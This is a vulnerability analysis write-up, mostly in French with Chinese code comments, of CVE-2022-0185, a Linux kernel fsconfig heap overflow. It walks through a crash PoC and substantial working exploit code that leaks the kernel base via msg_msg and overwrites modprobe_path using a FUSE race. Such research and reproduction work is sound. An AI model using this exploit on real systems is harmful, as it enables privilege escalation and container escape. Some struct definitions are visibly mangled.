
POC de la CVE-2022-0185, Docker et write-up d'analyse
[toc]
Identifiant de la vulnérabilité : CVE-2022-0185
Score de la vulnérabilité :
Produit concerné : noyau linux - fsconfig syscall
Versions affectées : noyau linux 5.1-rc1 ~ 5.16.2
Conditions d'exploitation : linux local ; disposer de la capacité CAP_SYS_ADMIN (peut être obtenue directement via unshare, donc sans restriction)
Impact : élévation de privilèges locale ; évasion de conteneur
Obtention du code source : git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
ou https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/
Docker pour la compilation du noyau 5.X : chenaotian/kernelcompile
Docker d'analyse de la vulnérabilité : chenaotian/cve-2022-0185
Préparé deux noyaux : un noyau de distribution et une version compilée soi-même
Installer qemu, gdb, gdb-peda, etc.
Les éléments liés à la vulnérabilité se trouvent dans /root/cve-2022-0185
boot_exp.sh sert à démarrer l'exp pour valider l'environnement de débogage, avec le noyau de distribution 5.11.0-44 sans symbolesboot_poc.sh sert à démarrer le poc pour valider l'environnement ; il peut faire planter le noyau mais ne peut pas exécuter l'exp, avec le noyau 5.13 compilé avec symbolesexp, code source de l'exp (auteur : BitsByWill), il suffit de compiler directement exploit_fuse.Environnement qemu : https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp
Environnement d'exécution de l'exp sur une machine virtuelle Ubuntu 20.04 avec l'exp de l'auteur original
Préparer une machine virtuelle Ubuntu 20.04, puis remplacer le noyau :```shell apt-get install linux-image-5.11.0-44-generic
grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以
#编译exp make fuse ./exploit
Effet d'élévation de privilèges

## Principe de la vulnérabilité
L'appel système concerné par la vulnérabilité est l'option d'opération `FSCONFIG_SET_STRING` dans `fsconfig`. Cet appel système est utilisé pour configurer un contexte de système de fichiers déjà ouvert. **La condition préalable requise est de disposer de la capacité `CAP_SYS_ADMIN`** :
> Le but principal de `fsopen` est de créer un contexte de système de fichiers, puis de l'associer à un descripteur de fichier et de renvoyer ce descripteur. Après `fsopen` vient `fsconfig`. Comme on peut le deviner d'après le sens littéral, nous avons créé un contexte de système de fichiers via `fsopen` ci-dessus ; le `fsconfig` suivant sert probablement à configurer le contenu du contexte de système de fichiers. En fait, `fsconfig` sert principalement à effectuer ce travail de configuration. Outre le contexte de système de fichiers, il prend également en charge d'autres tâches.
### Point de déclenchement de la vulnérabilité
Tout d'abord, la vulnérabilité apparaît dans la fonction `legacy_parse_param` :
linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
Le point clé réside dans le memcpy situé plus bas, qui copie notre param->string passé dans ctx->legacy_data. La vérification du dépassement de copie se fait dans le (len > PAGE_SIZE - 2 - size) précédent ; cette vérification est erronée. Le type de comparaison est size_t, c'est-à-dire unsigned int : si size > PAGE_SIZE - 2, un débordement d'entier avec inversion se produit, d'où len < PAGE_SIZE - 2 - size, et la vérification est donc validée. Lors de la copie ultérieure, size étant supérieur à PAGE_SIZE - 2, cela provoque une copie hors limites.
Quelques structures de données utilisées :```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };
struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };
struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };
### Chemin d'appel
Analysons ci-dessous la pile d'appels de fonctions ; tout d'abord, l'entrée est bien évidemment l'appel système `fsconfig` :
linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
··· ···
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
fc = f.file->private_data; //设置fc
··· ···
switch (cmd) {
··· ···
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
//初始化结构体中的联合体中的string成员为用户传入的字符串
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);//设置size
break;
··· ···
··· ···
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
··· ···
··· ···
}
À l'entrée de l'appel système fsconfig, le contexte du système de fichiers fc est d'abord initialisé à partir du descripteur de fichier fd, puis la structure param est renseignée à partir des paramètres fournis par l'utilisateur. Cette variable de structure param est celle utilisée plus tard dans la fonction vulnérable legacy_parse_param. On entre ensuite dans la fonction vfs_fsconfig_locked :
linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;
ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
··· ···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}
Tout d'abord, la fonction `finish_clean_context` est appelée, qui invoque la fonction `legacy_init_fs_context` pour enregistrer la table de fonctions de rappel. Cette table de fonctions de rappel inclut la fonction vulnérable `legacy_parse_param`.
linux-5.11\fs\fs_context.c ```c
int finish_clean_context(struct fs_context *fc)
{
··· ···
error = legacy_init_fs_context(fc);
··· ···
}
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops; //注册回调函数表
return 0;
}
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param, //漏洞函数
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
Une fois l'enregistrement terminé, on entre dans la fonction vfs_parse_fs_param pour traiter les paramètres. C'est ici qu'est appelée la fonction de rappel tout juste enregistrée, c'est-à-dire la fonction vulnérable.
linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param); //漏洞所在函数
if (ret != -ENOPARAM)
return ret;
}
··· ···
··· ···
} EXPORT_SYMBOL(vfs_parse_fs_param);
Voici un aperçu général :
- SYSCALL_DEFINE5(fsconfig,... : point d'entrée de l'appel système
- vfs_fsconfig_locked
- finish_clean_context
- legacy_init_fs_context : enregistre la table des fonctions de rappel
- vfs_parse_fs_param
- legacy_parse_param : vulnérabilité
## POC de reproduction de la vulnérabilité
poc de reproduction de la vulnérabilité :```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
Après la compilation statique, empaquetez-le dans le système de fichiers et utilisez qemu pour démarrer le noyau.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh
Dans un autre terminal, utilisez gdb pour le débogage à distance :```shell
cd ~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param
c
Premier appel :
legacy_data n'est pas encore initialisé :
Il sera initialisé plus tard via un appel à kmalloc, puis la chaîne d'entrée sera copiée dans legacy_data. Au retour de la fonction, la première chaîne a déjà été copiée, avec le préfixe ',=' ajouté, pour une longueur de 0x69.
Comme nous appelons fsconfig plusieurs fois pour effectuer la copie des chaînes, chaque appel transmet 0x67 caractères 'A', auxquels la fonction legacy_parse_param ajoute le préfixe ',='. Chaque copie a donc une longueur de 0x69. Après 39 copies, la longueur de legacy_data atteint 0xfff. Une fois les 39 copies effectuées, on pose un point d'arrêt pour vérifier :
On constate que data_size de legacy_data a désormais atteint 0xfff.
L'espace mémoire de taille 0x1000 alloué via kmalloc est également sur le point d'atteindre sa limite. Examinons l'endroit où la vulnérabilité se déclenche :
0x68 est inférieur à la valeur inversée 0xffff..., la vérification passe, et la copie provoque directement un débordement qui écrase le contenu mémoire suivant :
En continuant l'exécution, le noyau plante :
Selon le write-up de l'auteur de l'exp : CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. Il a implémenté deux méthodes d'exploitation : une élévation de privilèges sous Ubuntu 20.04 avec le noyau 5.11.0-44, et une exploitation ayant permis d'obtenir la prime sur le KCTF de Google. Nous analyserons ici principalement l'exploitation sous Ubuntu 20.04 avec le noyau 5.11.0-44.
L'auteur de l'exp a déjà décliné cette méthode d'exploitation sous forme de deux challenges CTF : fire_of_salvation et wall_of_perdition lors du corCTF 2021. En réécrivant la structure d'en-tête de message msg_msg via un débordement ou une UAF, on obtient une lecture/écriture arbitraire. Cette méthode ne sera pas analysée en détail ici ; seule la partie utilisée dans le challenge sera abordée.
msgsnd et msgrcv sont les fonctions fournies par le noyau pour l'envoi et la réception de messages en communication inter-processus. En résumé, le message est envoyé au noyau, qui maintient la file de messages correspondante ; lors de la réception, le message est extrait de cette file.
Définition de la source de msgsnd, dont la fonctionnalité principale est assurée par do_msgsnd :
linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;
··· ···
//后面代码将msg 添加到消息队列。
··· ···
}
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }
`do_msgsnd` permet une longueur maximale de message de 8192 :

Ensuite, il faut analyser en priorité la fonction `load_msg`. En effet, dans `load_msg`, la fonction `alloc_msg` est utilisée pour allouer de l'espace mémoire et organiser la structure des messages. Analysons d'abord la fonction `alloc_msg` :
linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
··· ···
··· ···
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
//#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
··· ···
}
这里根据消息的长度将消息分段,如果消息长度+消息头长度 大于一页(4k),则会被分段存储,第一段是消息头+消息段1,消息头中有指针指向第二段;第二段是消息段头+消息段2.... 根据上文提到的消息长度最大为8192,则消息最多分为3段。而每一段最大长度为一页(4k),最少也要包括消息头长度为0x30,所以我们能控制的堆分配大小范围为kmalloc-64~kmalloc-4k 。其中,消息头结构体和消息段头结构体如下:```c
struct msg_msg {//消息头结构体
struct list_head m_list; //两个指针
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void security;
/ the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg next;
/ the next part of the message follows immediately */
};
Ainsi, la structure des messages ressemble à ceci :

Les messages sont stockés dans une file de messages, gérée par une liste doublement chaînée. Le message lui-même est quant à lui stocké par segments, reliés par une liste simplement chaînée. Chaque segment a au total une longueur maximale d'une page (4 Ko). Analysons à présent la fonction `do_msgsnd` :
linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //根据消息长度生成上图那种结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //根据分段情况从用户空间分段拷贝,这里拷贝第一段
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
··· ···
··· ···
}
Pour la suite, il suffit de copier séquentiellement depuis l'espace utilisateur en fonction de la segmentation du message.
Examinons ensuite la fonction de réception de messages msgrcv. De même, la logique principale se trouve dans la fonction do_msgrcv. Je mentionnerai ici un petit détail sans l'analyser en détail :
linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息
return PTR_ERR(copy);
}
··· ···
for (;;) {
··· ···
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
··· ···
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中
goto out_unlock0;
}
··· ···
}
··· ···
}
··· ···
bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户
free_msg(msg); //释放消息备份
return bufsz;
}
Quand le drapeau `MSG_EXCEPT` est présent dans `msgflg` (configuration par défaut, option de compilation `CONFIG_CHECKPOINT_RESTORE`), l'envoi utilise un message de secours. Concrètement, on alloue d'abord une structure de message comme sauvegarde, puis après avoir trouvé le message, on le copie dans la sauvegarde avant de l'envoyer vers l'espace utilisateur, puis on libère la sauvegarde. **Ainsi, le message d'origine n'est pas `unlink` de la file** ; ce que l'on veut, c'est précisément ce « fait de ne pas `unlink` le message d'origine de la file ». Car parfois notre débordement écrase les pointeurs de liste doublement chaînée dans l'en-tête du message ; dans ce cas, un `unlink` provoquerait un crash, ce qui n'est pas le résultat escompté.
Voilà à peu près tout ce qu'il y a à savoir sur ce point. Les techniques d'exploitation associées sont les suivantes :
- Utiliser la fonction `msgsnd` permet une opération de spray sur la plage `kmalloc-64` ~ `kmalloc-4k` (technique traditionnelle).
- Si l'on peut écraser le membre `m_ts` de l'en-tête de `msg_msg`, on modifie la longueur du message, ce qui provoque une lecture hors bornes (nouvelle technique).
- Si l'on peut **pendant le déroulement de `load_msg`** écraser le membre `struct msg_msgseg *next` de l'en-tête de `msg_msg`, on obtient une lecture/écriture à une adresse arbitraire. Cela nécessite en général d'exploiter une condition de course avec `userfaulted`, mais les noyaux récents ne permettent plus aux processus non privilégiés d'appeler `userfaulted`. On utilise donc une nouvelle méthode.
#### Alternative à userfaulted
D'après l'analyse de la fonction `load_msg` ci-dessus, après que `alloc_msg` a alloué la mémoire du message, le message est copié depuis l'espace utilisateur. Si le message est un message segmenté assez long, la copie doit être effectuée par segments. Si l'on parvient à déclencher un défaut de page pendant la copie du premier segment, la copie est suspendue en attendant la fin du gestionnaire d'exception. Pendant ce temps, on utilise le débordement pour écraser le pointeur `msg_msgseg *next` dans `msg_msg`. Lorsque le gestionnaire se termine et que la copie du deuxième segment reprend, on peut écraser un contenu arbitraire à une adresse que l'on a choisie (écriture à adresse arbitraire).
Normalement, cela exige d'enregistrer un gestionnaire de `page fault` côté utilisateur, mais les nouvelles versions ne permettent plus d'appeler l'appel système `userfaulted` sans privilèges. Ici, une nouvelle méthode est proposée : le système de fichiers en espace utilisateur `fuse`. On peut enregistrer un système de fichiers `fuse` avec ses propres fonctions `read`, `write`, etc. Ainsi, lorsqu'un défaut de page se produit, le contrôle revient en espace utilisateur pour traiter l'interruption.
Il convient de mentionner que fuse ne propose pas de bibliothèque compilée statiquement. BitsByWill et D3v17 l'ont réduite, en supprimant notamment `dlopen`, pour produire une `libfuse3.a` compilable statiquement. Allez, dis merci à BitsByWill et D3v17.
[Référence](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)
#### Fuite d'adresse
C'est aussi une opération courante en kernel pwn : on utilise la structure `seq_operations` pour divulguer des adresses, car elle ne contient que des pointeurs de fonction :```c
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Concrètement, lors de l'ouverture de /proc/self/stat, la fonction single_open est appelée, initialisant la structure seq_operations :```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
··· ··· }
Tous les pointeurs de fonction de la structure `single_open` sont initialisés avec des fonctions du noyau ; il suffit d'en divulguer un seul pour obtenir l'adresse de base du noyau.
#### Élévation de privilèges
Grand classique du kernel pwn, `modprobe_path` est une chaîne de caractères du noyau qui pointe vers un chemin, par défaut /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
Lorsqu’un fichier dont le format n’est pas reconnu est exécuté, le noyau va exécuter le fichier pointé par modprobe_path ; c’est le noyau qui l’exécute, donc avec les privilèges root. En général, si cette chaîne peut être modifiée, l’élévation de privilèges est considérée comme réussie.
Je n’ai pas réussi à compiler un environnement permettant d’exécuter l’exp (je suis trop nul), j’ai donc directement copié le vmlinuz de la version 5.11.0-44-generic installée via apt, et après le démarrage de qemu, cela fonctionnait effectivement. Il se peut que la partie cap ou fuse n’ait pas été bien configurée, ce qui pose encore quelques problèmes si l’exp est exécutée par un utilisateur non root. C’est pourquoi, lors du débogage avec qemu, j’ai exécuté l’exp en tant que root, d’autant que l’exp modifie modprobe_path dans le noyau.
Pour obtenir l’exp, il suffit de consulter directement le github de l’auteur ; il se compile dans un environnement ubuntu20. De mon côté, je n’ai fait que l’analyse, le débogage et la validation.
Structure de l’exp :
CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase) //泄露kernel 基址部分
{
kbase = do_leak();
}
··· ···
spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1)
{
do_win(); //任意地址写修改modprobe_path完成利用部分
··· ···
}
··· ···
}
L'exploit se compose principalement de deux parties : la fuite d'informations et l'écriture à une adresse arbitraire.
#### Fuite de l'adresse de base du kernel
Je trouve que la partie fuite de cet exploit est très habile : il déborde d'abord pour écraser une partie inutilisée, puis alloue la structure à écraser par le débordement, évitant ainsi d'endommager les parties autres que la cible, avant de continuer à déborder pour écraser précisément la cible.
C'est principalement la fonction `do_leak`.
CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++) //[1]先申请8个独立的消息队列,每个里面存放一条消息
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}/*消息大小 0x1018-0x30,实际会分成两段
*第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
*第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{ //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
/*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
*这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}//msg_msg 头会覆盖刚刚溢出的内容
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
/*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
*刚好覆盖m_ts,修改msg 的大小*/
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
open("/proc/self/stat", O_RDONLY);
}//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面
size = 0x1060;//接受消息的长度
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);//泄露成功
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
Ici, avant et après l'opération de débordement, on arrange une partie des tas kmalloc avec msgsnd, la longueur exacte du message étant 0x1018-0x30 = 0xfe8. D'après la structure du message, il est alors divisé en deux segments 0xfd et 0x18 :
msg_msg 0x30 et le message 0xfd, soit 0x1000 au total, appartiennent à kmalloc-4kmsg_msgseg 0x8 et le message 0x18, soit 0x20 au total, appartiennent à kmalloc-32Pour préparer le débordement, on utilise fsconfig pour remplir legacy_data (longueur allouée 4096, appartient à kmalloc-4k) jusqu'à 4095. Ici on utilise 33 caractères 'A', mais en réalité à chaque fois s'ajoutent les deux caractères , donc on remplit effectivement 35 caractères par itération, et 117 itérations donnent exactement 4095.
L'évolution de la mémoire du tas entre les étapes 2 et 6 est illustrée dans la figure ci-dessous ; la flèche rouge indique l'emplacement que pointera le pointeur legacy_data + size dans fsconfig :

Cette partie est relativement simple. Comme mentionné plus haut, on provoque un défaut de page dans copy_from_user de msgsnd, qui est alors géré par la fonction de gestion du système de fichiers utilisateur fuse que nous avons enregistré. Pendant ce temps, on utilise fsconfig pour déborder et recouvrir le deuxième segment du message.```c
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
//[1]在0x1337000 mmap 一页
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
//[2]设定消息长度为0xfe的消息,会分成两段
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }
